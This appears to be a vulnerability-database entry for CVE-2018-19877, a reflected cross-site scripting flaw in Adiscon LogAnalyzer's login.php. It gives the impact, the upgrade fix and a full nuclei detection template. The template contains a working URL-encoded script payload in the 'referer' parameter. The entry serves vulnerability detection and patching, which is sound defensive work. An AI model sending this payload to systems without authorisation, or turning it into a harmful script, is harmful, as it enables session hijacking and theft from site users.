HexBrain

Browse / CVEs / CVE-2018-19877

CVE-2018-19877· adiscon / loganalyzer· CWE-79

Adiscon LogAnalyzer <4.1.7 - Cross-Site Scripting

mediumseverity
6.1CVSS score
18.6%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Adiscon LogAnalyzer before 4.1.7 contains a cross-site scripting vulnerability in the 'referer' parameter of the login.php file.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Adiscon LogAnalyzer to version 4.1.7 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/src/login.php?referer=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E
Positive when: contains "value=\"\"><script>confirm(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-19877 -u <target>

The full check
id: CVE-2018-19877

info:
  name: Adiscon LogAnalyzer <4.1.7 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Adiscon LogAnalyzer before 4.1.7 contains a cross-site scripting vulnerability in the 'referer' parameter of the login.php file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Adiscon LogAnalyzer to version 4.1.7 or later to mitigate this vulnerability.
  reference:
    - https://loganalyzer.adiscon.com/news/loganalyzer-v4-1-7-v4-stable-released/
    - https://www.exploit-db.com/exploits/45958/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-19877
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-19877
    cwe-id: CWE-79
    epss-score: 0.18563
    epss-percentile: 0.97278
    cpe: cpe:2.3:a:adiscon:loganalyzer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: adiscon
    product: loganalyzer
  tags: cve,cve2018,adiscon,xss,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/src/login.php?referer=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>confirm(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from